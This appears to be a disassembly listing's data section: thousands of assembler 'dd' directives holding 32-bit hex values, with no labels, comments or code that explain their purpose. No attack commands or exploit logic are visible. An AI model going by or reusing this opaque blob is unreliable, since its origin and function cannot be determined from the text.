dd 97BD0040h, 0FF7C916Dh, 0F398E5D5h, 0E0F292EAh, 3DAA6417h
dd 66681980h, 2065925Ch, 8190B562h, 54E50350h, 229F5224h
dd 44DA908h, 0AD4A9A68h, 525587DDh, 0E44F1EC0h, 10E0A85Ch
dd 1FA3054Ah, 0D67BE951h, 1E4B21Bh, 2D1EC875h, 7C646B90h
dd 5DCF762h, 0FA2A8052h, 5A7C4941h, 63ABF14Bh, 0ADE4CA69h
dd 81A49E61h, 0CAF7C732h, 90245AAh, 307C5B55h, 0D078E271h
dd 4E87A34Fh, 46C6B981h, 0CDE1392Eh, 0ED3E19E3h, 1BE9C44Dh
dd 0B37AEBB1h, 0F30593B6h, 0B3ACEBF5h, 2523F84Eh, 7F30C2B5h
dd 96278797h, 1A432D5Bh, 807277F4h, 284EC06Dh, 1014B06h
dd 9D9C2CDh, 58893E9Ah, 0CC840804h, 5F281718h, 3E0A0879h
dd 820FA29h, 0A49440F9h, 0F6800125h, 0A87116A2h, 0C542FE70h
dd 7C4A7964h, 0D6E90590h, 92FCF311h, 58D7F902h, 107A768Ch
dd 2A744ACAh, 1424D709h, 0B1769FBEh, 82F456EBh, 0FF435E68h
dd 6243D1DCh, 0C7351C8Dh, 775C0FCDh, 0B8139A64h, 0CE0D9EDBh
dd 0E602112Ah, 40EEF721h, 19366813h, 0EBC449BCh, 0CBDBB861h
dd 7B0D815h, 0DEC4A335h, 0C2C7D7F6h, 23570FCBh, 0B40A239Bh
dd 4C66CFFEh, 4D06D3F0h, 502C1D0Ah, 13F5CE59h, 0F835B767h
dd 0DC7927C6h, 932CBBDEh, 0D6BEBE61h, 0BE449B7h, 0D1ED073h
dd 0EA681620h, 4B7DE234h, 0A548CEB6h, 0E479FC4Eh, 10842684h
dd 2B48CF8h, 1B7DEA17h, 0C5006274h, 0F99E27Eh, 43CD629h
dd 0B14E4C6h, 9D80F509h, 0DC6A1CEDh, 43ED3950h, 78695012h
dd 40EF8C10h, 0E5955D08h, 2D348BE9h, 0F12F2866h, 5BAC22E4h
dd 0F8D1C004h, 1866E82Ch, 103BB753h, 0F75E90E9h, 0E95EBAA7h
dd 7F079A17h, 0E987F795h, 7E1B01E6h, 316850A2h, 27E95040h
dd 9F791FAEh, 1B30CA8Ch, 6F234136h, 0DD221C87h, 0B49925Bh
dd 916758E6h, 95E9700Eh, 1F66775Fh, 14C464F0h, 0A4DCF85Ah
dd 0F23BD581h, 5050BC2Dh, 940BBFFFh, 4F3D1477h, 7FFBB14Bh
dd 6F1ACC9Eh, 7D82EFA8h, 5D09102Fh, 76F5A582h, 336785B0h
dd 57A4A091h, 0F5371900h, 5AE94E06h, 4BA41D1Eh, 0C3DEDE0Eh
dd 551CAF62h, 0A82C916Dh, 844E4410h, 1EB5BA40h, 0B1B7ABCFh
dd 0C9023F6h, 6DD3301h, 152850EBh, 1FC7EACAh, 7A07E7C0h
dd 0BBFC19B6h, 5E6C113h, 0E05A7201h, 0B03F286Dh, 0FAE951F0h
dd 5859EBE0h, 255DF6B0h, 7CF2D2FDh, 0D924AE97h, 42448BFBh
dd 188F4C69h, 3DDF2DE0h, 0A65395FCh, 2830A0ADh, 90503279h
dd 0EAF72DB7h, 5F7977E4h, 5D8A5B30h, 3B0BB2CFh, 0F7027297h
dd 7BBF39FAh, 0AB89B58Bh, 0CEE7A2DFh, 0BB1B68AAh, 2DD6A628h
dd 52BE5455h, 0AB72E935h, 5A1E9BFEh, 0CE6B17F2h, 2F7E2B01h
dd 0BC5AD122h, 40CB04C8h, 0E7C81DB7h, 40064ADCh, 0AAEE81B4h
dd 2D5F0549h, 680AECE6h, 8899547Ah, 0FF04A216h, 0DB852C77h
dd 513404EBh, 0E87F82B5h, 0D2AE69C1h, 0BF955F90h, 0ABFB5F82h
dd 5A92FCC9h, 79ADFFDEh, 5E5462B1h, 58A2795Fh, 0C8B522EFh
dd 0E01BF2EBh, 0E1235A80h, 0CAC02270h, 5D0F0868h, 0C14B57E9h
dd 1FE08153h, 117131F4h, 680B490Ah, 87D91A86h, 0E4397549h
dd 5FBC24EBh, 4365FE97h, 3D3B9B80h, 0B6B7AAFEh, 3D3EB904h
dd 0ACB037AEh, 0CD2B92Fh, 4DA257CFh, 7688740h, 71B609FDh
dd 21704B58h, 4BF92049h, 0C9083A83h, 0D06AFD9Ch, 0F61FC31Ch
dd 4889EA3Dh, 0DC1106Ch, 0BB05664Ch, 0EB69B105h, 13ABE6D0h
dd 907E5BA8h, 8C7455B1h, 4A83DADFh, 6738382h, 467D24E6h
dd 68090C26h, 0F42FBC02h, 0D008A0BCh, 5925140Ch, 82B494D7h
dd 5AC56108h, 0E6EFE444h, 52EC4BD2h, 0A1F2E9C5h, 84537350h
dd 61E34420h, 0A3A52F16h, 0C1D906C9h, 0F4F8EDBAh, 17B6584Ah
dd 4C73AE4Ch, 1C05A8F5h
dd 0C029F242h, 0CB781DD3h, 888064DDh, 0E9608F70h, 0D8E40BBh
dd 89783709h, 865F8445h, 71E28100h, 7D72C102h, 449007ECh
dd 45EA1A7Ah, 5D0B4AB8h, 0F00F8E47h, 160C698Fh, 79EB89F7h
dd 9CCE62F3h, 61F32C02h, 68008AE3h, 3F912981h, 2A33F969h
dd 2F527970h, 4CE51994h, 180FF27h, 5B66DC30h, 0D94E09B6h
dd 4007ACE2h, 57EF366Ah, 0DADBF72Fh, 1A563183h, 7B5B1E87h
dd 5D1BFF3h, 3DDAE908h, 4E7DC2Fh, 81F56735h, 77C32940h
dd 0B1E90B25h, 6129DCDAh, 573302EBh, 43724FEh, 0E7EF5258h
dd 2B6BC47Bh, 0C31C75ACh, 60EBCE61h, 5B10B71Dh, 0FE0070DCh
dd 0E9D986C9h, 8982483Eh, 8A53BE81h, 5B7F2025h, 2ACC7D16h
dd 4130FDA8h, 0DB391914h, 527267Fh, 0CCD0D6AAh, 0C72788AAh
dd 0FB82FD52h, 0B08559CEh, 7F11E8F3h, 8DE9D50Dh, 213FE8F0h
dd 0E487CBBFh, 32D30111h, 400B151Eh, 0F50886E0h, 1F4D3D98h
dd 0ADE90584h, 939BACBh, 80D7B92Fh, 0C040D7EFh, 1656583Eh
dd 27465026h, 6E944241h, 29EB8C13h, 4262A735h, 0CB43F585h
dd 1F422204h, 0FEAC6908h, 50885910h, 51865F1h, 1F0C40B8h
dd 5EE22771h, 8830ADAh, 6B140C41h, 457520DCh, 73E32436h
dd 0E10F86Ah, 4D3C3351h, 0EAE05C35h, 6809A4CAh, 0BCCC783Ch
dd 7075E916h, 0E59A1DD1h, 79555E02h, 6688DB5h, 6625C3EEh
dd 0D1D21867h, 6B862F78h, 21F44AE8h, 1777D1Bh, 9244E211h
dd 0DDB0F70Ch, 5580EE8Ah, 238D0ABDh, 1AA04061h, 827D65BAh
dd 5D5E62B4h, 88DD6C9Ah, 3180950h, 43AFB3Eh, 0D5F75363h
dd 8C088045h, 0BD707Ah, 0FB1A1DD0h, 0D8EBA14Ch, 9C7FCB66h
dd 0B68AB0D0h, 294BB4BDh, 97338DB8h, 6000521Ah, 26FA0A89h
dd 25D93CBAh, 6289E3AAh, 70C2ABF8h, 576004F8h, 99588180h
dd 0FAEAE4F0h, 8025254Ah, 0CC4188FAh, 0AB20D841h, 0E75517A0h
dd 1C12152Dh, 0A137A94Eh, 0DC3FEA8Ah, 310C2D54h, 0BB0CD579h
dd 0BA30409Ch, 66451C12h, 8F23000h, 142F7049h, 0FAAFF4E9h
dd 1DC3385h, 4E440244h, 8AB43A5Ah, 0BB6A2FAh, 7B74060Bh
dd 0ADC70F9Fh, 3100F4B2h, 95355FF8h, 330F321Dh, 7900D65Dh
dd 424F255Eh, 57C02BAh, 0A6D2F56h, 0F596E9F6h, 0DE71EB27h
dd 0F17A4791h, 13A26CAEh, 875E08E8h, 0B29BD4C9h, 6C6FF22h
dd 8BA22A55h, 0E85107C8h, 0B805E737h, 0FE681EC6h, 6ED06C5h
dd 0E3950680h, 0E9C7D8F6h, 5FB6A8A1h, 25950905h, 0C8DF35F5h
dd 9A946876h, 0E4D681CCh, 9259F26Bh, 0B5015EC8h, 81F27FB2h
dd 0B0F67E20h, 0B5E500C7h, 686BB27Ah, 99976039h, 1AED721Dh
dd 0AC49852Ah, 0EC08858Fh, 68A370AAh, 97CF0B9Eh, 598C13A1h
dd 0DF975D20h, 9613C87h, 658845DFh, 1049E650h, 0B92E6DCCh
dd 3DBD3950h, 6138B41Ah, 913B61DEh, 3A070126h, 0B5F670D7h
dd 0EA00D53Bh, 7715F721h, 17051B22h, 8212717Eh, 0A5D7F3A3h
dd 60F841F2h, 3E02A5Eh, 6C2D4EEBh, 50C0123h, 297E3E5Bh
dd 830A0FBh, 4E140CD0h, 0B0572A8Ch, 3221964Fh, 6877A5C2h
dd 1D77F5D4h, 0BED01D48h, 0B75BC005h, 0FEF21D12h, 0F76F2A0Fh
dd 0B49EB8D2h, 0ED00CE13h, 2AE77388h, 47F30935h, 0A05F2F8Fh
dd 0FE28CB13h, 0FC50BFB0h, 2E81815Fh, 0E9E57BDCh, 0EE0870A0h
dd 0B2BB710h, 0CEEE7F50h, 6246D782h, 615AD490h, 80B45464h
dd 736E260Ah, 0CA5745F9h, 0CCA19304h, 5C32CB3Fh, 645E89FFh
dd 0EEC29754h, 11884FD8h, 0A9902958h, 7682BE5Ah, 56AF6A59h
dd 68AEEC7Fh, 18137E0Bh, 9FA68270h, 88E8F26Dh, 9F1C6FE1h
dd 0AFB1D984h, 0A80D284Bh, 4B0396DCh, 0D97E8F3Bh, 6800A328h
dd 3BE12208h, 0BCE57FBCh, 29BE5A71h, 29FC8007h, 893E2CD6h
dd 3DE927F8h, 0CBDB87C3h, 0AD83E4B9h, 957D3E1h, 9E7DDF8Ah
dd 0E3FE4C41h, 5820FC32h, 0FD58E25Dh, 0A6B014C6h, 0C52DD369h
dd 0D71828D0h, 0E736041Dh, 0C7D9B8FDh, 0E808D2C3h, 0F13D644Eh
dd 8B8D2E2Dh, 8960B12Eh, 584B5B16h, 0D6EA04Fh, 4C3AEEEDh
dd 8919CB31h, 54B974DAh, 556AC3B7h, 0A940C8CAh, 0DE745CC1h
dd 0CACE9A60h, 0B625E852h, 8C214FAh, 4967E750h, 0A09C2721h
dd 82111709h, 21160B75h, 0FF50E909h, 0F601B83Bh, 0F3A6C708h
dd 61172713h, 6C7A8468h, 276EC491h, 4AF9CBBAh, 165137F4h
dd 0B4D9BCE9h, 51980521h, 8976EB62h, 82AF6CFh, 22CC57Eh
dd 93120301h, 0EE940143h, 1C6108C6h, 2EB42756h, 555191D2h
dd 56924595h, 5EC962FFh, 62995975h, 0C6F45AE1h, 0F60EEEA4h
dd 0ADD94FD1h, 5740F56Ah, 5E6E39A9h, 0F8B9F13Fh, 0DDC669E5h
dd 0F60702EEh, 523758DBh, 8580128Fh, 3B685704h, 2F7F0B13h
dd 0B78D7DD1h, 2A132166h, 8F60EA30h, 0B5A05ACBh, 87E6B486h
dd 4C7FF607h, 0F2C417EAh, 0F2D24DECh, 0C0CCC566h, 4C0931B2h
dd 0A9D84B5Fh, 27C00D59h, 2159855Bh, 48CE5EC3h, 0B116D0EFh
dd 3F9CB256h, 0BB4E965Ch, 5A233BBEh, 92CB2DACh, 0D00EAC5Ah
dd 2C21A62Dh, 0EBE64Eh, 812CF33Eh, 655D99E6h, 5E514358h
dd 2159A504h, 0CA037DA8h, 581847DAh, 1710CE04h, 0A0F1076Ch
dd 0EF8506BDh, 0B845EEEh, 0E242CEh, 70FACFEh, 13BEBE28h
dd 546D593h, 950AD3CAh, 72D40E9Ah, 0DEE7C192h, 5DC3B410h
dd 2D533DF9h, 5F4A0091h, 2C65840Dh, 2D3C5510h, 2790CCD0h
dd 0B4DBC801h, 2E64E90Fh, 0D9FE90A7h, 1C20C559h, 0C8FA4972h
dd 74BBCE02h, 7C407936h, 952D5EDFh, 2546546Bh, 8EB7780h
dd 2341D2E9h, 0E210006Eh, 1BE196Eh, 26A12180h, 10A47412h
dd 0C304137Bh, 0DD903AFCh, 0C1C52C5Bh, 20085555h, 4274A643h
dd 114A327Eh, 2C55A71Dh, 0F801009Eh, 620F505h, 0C76BF907h
dd 395DDBF4h, 4C78D9AFh, 0CF39FC4Ah, 8C609182h, 3325A8BAh
dd 4EA02D4Bh, 0E4BD0455h, 82E09773h, 9F891280h, 8ABE075Ch
dd 0A75EF17Ch, 61E7825Ah, 774D57D7h, 627574ADh, 93D8AEE9h
dd 0C976D1B5h, 0F6962F6h, 0A5209C82h, 0CC76ADB7h, 0AF2FE941h
dd 683C282Fh, 5921C325h, 0A7EE68C3h, 0EF8B2623h, 4CB9CD00h
dd 31B2CBBCh, 55593FCDh, 0C7D2089Bh, 7EF63CB1h, 0C9E53F91h
dd 5D325DBEh, 47D1CA28h, 0D60AD7E9h, 74C802BFh, 0F9F6721Ch
dd 9CA0F388h, 342304CDh, 3B6AC67Ch, 0EF6F66B9h, 46696D7h
dd 0E013209Ah, 0D0505AF4h, 0D75DF8E2h, 51CE2719h, 185DAC02h
dd 1AF77539h, 25514E12h, 5DD8D509h, 0A3306594h, 99BF0A95h
dd 788E3D27h, 0B90A7B13h, 4BB43CCDh, 6781E274h, 1981258Ah
dd 9E1ED0EDh, 84C5D83Ah, 0DA4142Dh, 8061CB2h, 5E14811Ch
dd 99ADF83Bh, 452A59DCh, 0E9E3A1D7h, 2641D4BFh, 599717B3h
dd 0D02A6599h, 0C5E9C285h, 0CF955560h, 7B567C9Ch, 0CD0B4D6Ch
dd 79E8B728h, 9BF02FE7h, 9A8993F9h, 0C5A3DAE1h, 0FC12466Eh
dd 8B13A11Ah, 0C536EE05h, 0F6DFF20Dh, 0E78995FBh, 6818DB70h
dd 9B3B7359h, 0DCEA89CBh, 0CBBA1319h, 945DE82Dh, 9B50BD05h
dd 0FE18AE01h, 0D090E91Fh, 9E388FBBh, 20337B7Bh, 619F627Ch
dd 0C3342219h, 18681352h, 2BB1CC6Eh, 0F141DC60h, 900378FEh
dd 9B35E01Ah, 0E6090854h, 38CB486Ch, 0BCDB456Fh, 3D2C3815h
dd 0D5E9887Dh, 0A85C18BEh, 7F2728BCh, 8161FC1Bh, 0F3C7B5C2h
dd 75FB20B7h, 1F8B0A17h, 80447D4h, 329084E9h, 1EC1BF57h
dd 2FD1DDB7h, 0EB315AC4h, 59C891C2h, 0BBC0AD32h, 51637C47h
dd 0C9916826h, 0A5107EACh, 4F6DBD50h, 4CB1A214h, 19EA1B09h
dd 9A058574h, 9AEE2E1Ah
dd 93F55C1Ch, 0FAD646E6h, 0F009AE72h, 1BD0BFC4h, 0FE13FA0Bh
dd 25F091Eh, 7E41DAE7h, 0AB7D65EBh, 68AF2F12h, 214BE940h
dd 8400EB13h, 28EA2D07h, 240E7D4Fh, 40F364E8h, 9B0235Ah
dd 0CB0CCB98h, 18D867E5h, 0C2442E48h, 0E9F90252h, 665D8FB0h
dd 812C5437h, 4A0312BBh, 2EC7FC78h, 8552FFF5h, 0CDE85C17h
dd 96D174C6h, 775BB4FAh, 5BA2CC68h, 3899CAC3h, 81E24B56h
dd 7DA96800h, 53595C48h, 7C6CBB04h, 78804464h, 2F310BACh
dd 5888291Eh, 8B5B1F08h, 465FFEEFh, 0B90BB56Eh, 0F79292F5h
dd 0C50C1300h, 0EE19875Dh, 0DE09D5F7h, 1D294720h, 8763D179h
dd 67483BF6h, 86D6E637h, 7F7E730Fh, 0CDF3C74Ch, 57822882h
dd 817033E9h, 438BC3D5h, 0C827269h, 36112FDh, 0B5591400h
dd 90297C78h, 25350B93h, 0C6057F6Ch, 1C30C802h, 14054B19h
dd 9E200816h, 3B58136Eh, 0D4520927h, 974D8A91h, 34395C73h
dd 2767D34h, 6879C04Ah, 69F4490Dh, 2B56449h, 0E9F7295Fh
dd 20767FFEh, 0A4258CC4h, 11C49923h, 2CEB5BD9h, 924BAFDEh
dd 212B7DC9h, 2887AB2h, 0F689F559h, 3B4A1D00h, 0F59022F3h
dd 0D045FA01h, 0E73DE970h, 54890872h, 0D3958796h, 2449CBD1h
dd 0B85F2AA7h, 0A54FCE17h, 76C889C3h, 0E8F4A50Fh, 1079303Fh
dd 253F18B9h, 0A2F85B9Fh, 14EB810Eh, 0E91B2707h, 6ABD3514h
dd 0D2A1905h, 0D701C122h, 0D65CA7F4h, 93CC3CF1h, 0EE109C38h
dd 0AAE2037Bh, 783F584Eh, 9F4412ECh, 0D6FC0A4Dh, 7A0D0A28h
dd 5B5A27F4h, 78620882h, 0A15E5DD4h, 0CA3A5DC0h, 0FD0935D6h
dd 987981EEh, 0B4DA2FA9h, 0EF1A9D42h, 0B6D034CDh, 0FCB1CF4Bh
dd 0E9AEB042h, 0BC2A580Dh, 0DA1E59Fh, 5B59E63Fh, 977397F8h
dd 0F6899C61h, 4BD1515Dh, 0D609CF59h, 0D2047C42h, 6027C16Eh
dd 8219797Ah, 1E7830AAh, 0E986DF5Eh, 27898947h, 374858C3h
dd 349F5233h, 0D1049755h, 0F32B4F33h, 0F09588EBh, 0C5C32F9Fh
dd 1BAC646Fh, 0B62E0A81h, 7ACE7B75h, 0E20AF206h, 3CC50C64h
dd 1AAC9544h, 0A2F03116h, 14A40068h, 68590B6Dh, 0CA65592Dh
dd 1F202884h, 0D11C24Ah, 7FC98C42h, 0D980EC4Ch, 309514E3h
dd 0B96768D2h, 0B7DB0843h, 0E5C7880Eh, 89EF9151h, 97C22B0Fh
dd 32AE5F81h, 0F65906BFh, 144B0EDBh, 119A78C0h, 0ABC8001h
dd 0A43A7934h, 0E581F540h, 7B9910E7h, 0E1BDE41Ah, 0E2B7CF2Ch
dd 587C9432h, 0BFE91656h, 6018D14Fh, 7A14271Eh, 9836CD27h
dd 0C0674EA0h, 0AC7DC74Fh, 0CEB5DFDEh, 0FF0505F2h, 0C47C1119h
dd 41CE84C0h, 0FCE9D008h, 0B7402A69h, 5EA42FDCh, 0D4FE5C21h
dd 0CC5DE9E0h, 4571989Fh, 3640822Fh, 0C08038A8h, 80040EE2h
dd 0D0096DEAh, 52F0B680h, 0C2F699B2h, 20E91D17h, 0B7EACA90h
dd 54133B7Bh, 0C462F200h, 0D101DEFDh, 921060C4h, 49A26802h
dd 780987ECh, 0F5664D0Dh, 3A11FFE8h, 0F87D282Fh, 5417A85h
dd 0DC5895C9h, 0B90F05Eh, 31B4B709h, 40FD09F1h, 79CBBD1Ah
dd 0A13AFD3Eh, 79B200D3h, 65903205h, 85638E0Bh, 91C85D33h
dd 0D85831ADh, 5351B012h, 0D08E2FE9h, 6CB7034Ch, 2866F6D2h
dd 18B75DF9h, 0BC8E76FDh, 261885CFh, 400C2504h, 3F1E044Fh
dd 0BF47EFD1h, 6BE9D902h, 770E4AC4h, 113DC79h, 211D02FCh
dd 0C272AC08h, 0BEEC1513h, 0A505DE2Ah, 0D59202Ah, 80BDCB0h
dd 8702847Bh, 0EA5EFC04h, 9B12E8FDh, 4CCB6A34h, 405C3A60h
dd 50554A2h, 0AB5DBFA8h, 0B66007A1h, 2F6B904h, 1563E1D8h
dd 0F4034BCAh, 4EB22593h, 26E532C1h, 0D43025F5h, 625269EAh
dd 17685309h, 2AF44637h, 46450CEh, 0C2BDFABAh, 8D04FACFh
dd 55CB5B55h, 0FC5F5316h, 13FBB1C7h, 5ED4D06Eh, 755F344Ah
dd 0C73F0ABDh, 241F7F04h, 0FF10AB01h, 1FBC4B08h, 0EE6E969Eh
dd 0CA7E569h, 8FD215F6h, 59D68FDh, 0FBEFE580h, 1A990814h
dd 83CE3057h, 1449B32Eh, 92CA8DAFh, 0A187BF01h, 3A2975F6h
dd 5C1EF590h, 149196Ch, 0CD58FDh, 3A280304h, 4E7B2CD8h
dd 0BC6617C6h, 51A5B1C5h, 0ACDB4475h, 0FF20C2E1h, 3E5209D1h
dd 0E8F85D7Ah, 86D40770h, 26E835A5h, 2F151F00h, 0ABF7305h
dd 0F3810D6Ah, 475B0B9Ah, 0CFC5E068h, 0AD3CC7BBh, 651DE2D3h
dd 0C2AFB99Bh, 60C1FFCh, 0BBE97A1h, 2E6A724Fh, 2D57F04h
dd 525DEE29h, 93390A73h, 1BB1C6Ah, 691F4380h, 8F88FE01h
dd 555E0908h, 0C7C710Bh, 618BC79Dh, 8909457Dh, 0FC84FB29h
dd 6800CCACh, 98574927h, 88FD9142h, 4713C7C2h, 90099EFBh
dd 9D05AF2h, 6CA72590h, 268480DDh, 0B871A124h, 0BD8EC344h
dd 2AB251DBh, 7A55B6E2h, 0CF39B11Bh, 0CDE17BE5h, 34D9E038h
dd 965679BDh, 69D0BBF9h, 9D957FB8h, 890A2570h, 0EF6C7439h
dd 70B99816h, 0ED834D0Bh, 42414C1h, 7E74E1C2h, 0FE5A02B9h
dd 17C034C8h, 68800E80h, 0B4124A2Bh, 0ACF3E1Fh, 1EC1E15Bh
dd 572AC828h, 4E39EE62h, 3BBDB340h, 4A4C2DC3h, 0C08291A2h
dd 51C78000h, 0B117EE68h, 0B196BC77h, 0F6DF092Ch, 0D8800E09h
dd 8878F180h, 0B4E9C809h, 0A4D15ED1h, 0FE56979Ah, 2E847864h
dd 4DE0C752h, 21050559h, 0E1043F0Fh, 730FAD2Bh, 0ECE90BF6h
dd 45685660h, 96C21C96h, 713DFA9Ch, 194B2F62h, 2F1E308h
dd 79E6ED59h, 2B9680E2h, 23970500h, 0C70D2E9Ah, 6F380918h
dd 9203E8C1h, 724CEDD6h, 28521697h, 0CA68A21Ch, 9916025Fh
dd 0F73F49B9h, 31080868h, 240EEC24h, 0C83DC36Bh, 0C1C00C43h
dd 4B8A5AE3h, 11994EEh, 0AE444CABh, 0FAC8F40Bh, 4CEC1AD3h
dd 1145FB05h, 0E385BAC2h, 0FB8E84BFh, 0E8D0F5B3h, 0B60B9200h
dd 0F472B849h, 66E9D8E9h, 2D2E3165h, 0F07DAEC1h, 210A443Ah
dd 5E540455h, 0D36CF7AEh, 677F398Ch, 40B70AB8h, 88ACF780h
dd 0DD5BFA39h, 0D8417619h, 0B32E524h, 0D521079Fh, 33244557h
dd 792DA42Eh, 4D11DAC1h, 4C52865Dh, 1C3A0911h, 0CAC035EAh
dd 5B0501Dh, 4C060FEh, 0D3343004h, 88E1C3E8h, 3BDEB7E3h
dd 0D42F5727h, 0C56FCD6Ch, 4D15870Bh, 0E4287771h, 5580008h
dd 10E50693h, 2D510598h, 0E9C38407h, 0F68CE7BDh, 9D53F868h
dd 17600CB2h, 59815619h, 0E5252DD9h, 0ACB22103h, 3A0EDCE9h
dd 8674444Ah, 5D576920h, 0DF2312B9h, 2468609Ch, 64864861h
dd 1DC7C251h, 91B3DD09h, 76998C11h, 0A37A8545h, 97F8A421h
dd 0CE3D6DCh, 0C7396183h, 0CE30750Bh, 4CC120Dh, 8BEA5B08h
dd 0BA7C164Eh, 67682240h, 339C35h, 4849B95Eh, 0F101023Bh
dd 10473BDh, 4156F7EBh, 2A954020h, 6B3EF540h, 0F25D2501h
dd 420B8221h, 0FC1709B5h, 757A27CAh, 512F742Dh, 3D388B5Dh
dd 908214Dh, 6F210BF8h, 98D005FFh, 2A60FBB9h, 3D54CEB8h
dd 9E251F3Fh, 581CA5Ch, 5177B585h, 0B0830830h, 186812C8h
dd 0DE8CAC04h, 0D69B440h, 0C3435B25h, 0D85F49BCh, 7E7CF1A4h
dd 8741D107h, 0F7FD424Eh, 0C846DFD7h, 0E1C118C4h, 5EEB24C2h
dd 0FCF62F75h, 0B58DE879h, 6E608953h, 0FAB52AACh, 96FD89D8h
dd 0E97825F2h, 50775C95h, 5A80C611h, 0B6815FDh, 6F249A4Eh
dd 3D7EAD68h, 9582DA64h, 1BA07D1Fh, 0FCE86C37h, 0F05390DFh
dd 8EEF9253h, 0A9E9120Fh, 0A37A19A1h, 3EE9C215h, 0EA560A40h
dd 91B81A78h, 0F192105Fh, 0F71ABF09h, 549FB9DCh, 0A70A508Ch
dd 0DAD614C6h, 0C5279347h, 861F6DD1h, 0E2815C2Ch, 5C176850h
dd 0FCCC8D7Bh, 7D246951h, 48133757h, 5F7C0Bh, 3719A6F8h
dd 39E19D4Fh, 940E3931h
dd 13C0040Ah, 0E9021733h, 0E674F99Eh, 78ED0BDAh, 0DE883999h
dd 5B5AF101h, 0F806E1C0h, 2FE119D5h, 74A290FCh, 98726762h
dd 0EFA3689Fh, 0ACB98097h, 6012F3F6h, 12B45D68h, 0B8FB5A8Eh
dd 0E259C916h, 7714D7C0h, 4B0A254Dh, 0A1D73DE6h, 0FB046F05h
dd 0DD8B886h, 35E541A4h, 0CFE82AB5h, 0E9160422h, 29EB3227h
dd 78F96BF4h, 0C6295F0Bh, 61471A57h, 5006600h, 867C196Bh
dd 83D0D097h, 73CE107h, 3C5A53E4h, 3504F001h, 0D9135227h
dd 0F7A93F42h, 0A57CE897h, 1070F3BBh, 5316C480h, 52891E51h
dd 5A03ECF6h, 9E16E0B0h, 2BEA805Fh, 504F1E4Eh, 48B0B800h
dd 0D8F71017h, 5542022Dh, 0C201C172h, 0F2813C90h, 7780385Eh
dd 0B79155E9h, 2CF2739Ah, 0F2401AFAh, 138B9892h, 0EE012D6Bh
dd 0FD3FC201h, 0A02F5B44h, 0C640418Eh, 9B0AFC68h, 721F0992h
dd 4B4B75E6h, 10387916h, 0F5AC166h, 6F31E919h, 0EAB34A00h
dd 705EBC0h, 0CBFEDBF6h, 0B6B62680h, 0B82B9241h, 420579F0h
dd 89FA05EAh, 0EE1696B8h, 7FB7CD5Dh, 25E17936h, 16FDFCDBh
dd 466817A8h, 100BF358h, 0E91C71EEh, 0AA0116F5h, 0D55464DEh
dd 88A727E9h, 0A3F00564h, 78ACCB5Ah, 0F680C9D0h, 1F845D1Eh
dd 2102609Dh, 4E93B8CAh, 0EA8E3060h, 574A193Bh, 52815B84h
dd 582D3D4Eh, 0C03FF36h, 0D0EAE209h, 834CDF29h, 3081C8BFh
dd 67871448h, 9C05EE55h, 0AB775179h, 0AB5A5BF3h, 84B39021h
dd 935B0A9Dh, 2E1BF1ACh, 4AC464A4h, 0C66FBD12h, 153D20BBh
dd 0A7596851h, 7D6FBA80h, 61BF7369h, 0F9435071h, 0EA604ABCh
dd 27E94C78h, 3D30BF22h, 1401A90h, 3FFB09CEh, 110B07A8h
dd 0E5FD22C2h, 3E742F64h, 80F3E258h, 0CFDE0D68h, 5EA70489h
dd 0A7FCA7D4h, 0B6D0509h, 6638F5ABh, 0F12D543Ah, 3DF7D64Ah
dd 0A10A042Ah, 0FC3A6403h, 42688F54h, 843B217Bh, 8CAFD0E0h
dd 31F9DB7h, 60EF1467h, 13F4CE20h, 0EC1F0270h, 0FF134CDh
dd 2F01F0BBh, 5AD7656h, 3FA14492h, 5462AA04h, 0B68F5709h
dd 1FA907E2h, 78A0FF80h, 0E917603Eh, 3D8952CAh, 2DFA1CA1h
dd 577E25A2h, 50CD2901h, 3ABA4A82h, 8E22F25h, 7A6B5641h
dd 121C1298h, 5B17DB1Dh, 0BA4106C2h, 3A17650Bh, 5681F0B2h
dd 0C66BDCBEh, 26DBC0D7h, 0F8C3E294h, 0BFFF4B58h, 47B0312Dh
dd 0D268565Eh, 30E96913h, 0AD3BDFE5h, 572A7E7Ch, 925FEB39h
dd 0F4520982h, 5937EAEDh, 0B5057C5Ch, 984CB3ABh, 2711DCFCh
dd 0A07F0D66h, 411798E6h, 9E7C9D12h, 48506B0Bh, 3D4516BCh
dd 2B921D5Eh, 674044EBh, 0D7A4FC75h, 3B4A22AAh, 11687448h
dd 2A7B6C16h, 1336BF06h, 922B4C5h, 4E75D8A0h, 42082F6Ah
dd 7F735920h, 52244E78h, 4F835653h, 1836B835h, 41F9D550h
dd 120F6FEFh, 865857DDh, 44371E7h, 0B53F5CF3h, 1D01916Eh
dd 0AA8C0D8Fh, 0C145ECEFh, 8654570Bh, 3428066Ah, 52C56FDBh
dd 0B800DEC8h, 72F90277h, 5D4D0935h, 0C27F14ACh, 956A44FFh
dd 164C73C3h, 8755286Eh, 68E49D54h, 83D5309h, 567503Eh
dd 14B50737h, 8E80AA4Ah, 5AB924E7h, 909AC776h, 26D2DE6h
dd 9B05248h, 0A3E0461Eh, 0E89ABC3Ch, 4EAAE90Ah, 0E2FCCCCFh
dd 0E0721A55h, 10D333A9h, 0FDC2350Ah, 1E220C02h, 65BC804Eh
dd 0B8E86351h, 199F2DCDh, 0EA7A7899h, 5E3543CCh, 0FC80C9A7h
dd 40C7797Bh, 7C61EF3Dh, 5CF2E90Fh, 0CD9F8E76h, 6F106CDAh
dd 4B721621h, 0F116066h, 8EC01773h, 47E56940h, 0B6891D02h
dd 10F20BF6h, 0B8821A53h, 0DFC436E1h, 6128BE87h, 0A0292F6Ah
dd 17E08F5h, 5851D3B6h, 310124BCh, 50E9414Fh, 38527DB2h
dd 77A100F9h, 2E5CE781h, 4F632D45h, 0EB098654h, 0A4C777C3h
dd 0ED2410A5h, 525C80BFh, 0C327F9BFh, 222EC70Eh, 4CCD6F5Ah
dd 0EB07F47Bh, 27C74156h, 9D7AF85Ch, 2F6454FCh, 0E36281F1h
dd 0B4C3E9A0h, 45304E95h, 3F4AFDF1h, 99E8CF8h, 0F35EA575h
dd 4C46054Fh, 79AA9E8h, 0DAEDE760h, 894DE412h, 54AB43AAh
dd 0E998EF32h, 0C5BD4173h, 0A10D1205h, 49E22A42h, 9787FC93h
dd 101071EFh, 91A23CFh, 0E0C78853h, 533668CBh, 0FD5B9426h
dd 44133A96h, 2D68FAEFh, 0BF603020h, 81DD7407h, 56F9D0BCh
dd 0FE3F123Fh, 8C000C5Ah, 8B3626BEh, 132BB02Ah, 4161FE1h
dd 0AE112528h, 25680568h, 0EBC60AB7h, 0EA7BF520h, 0FB6297E4h
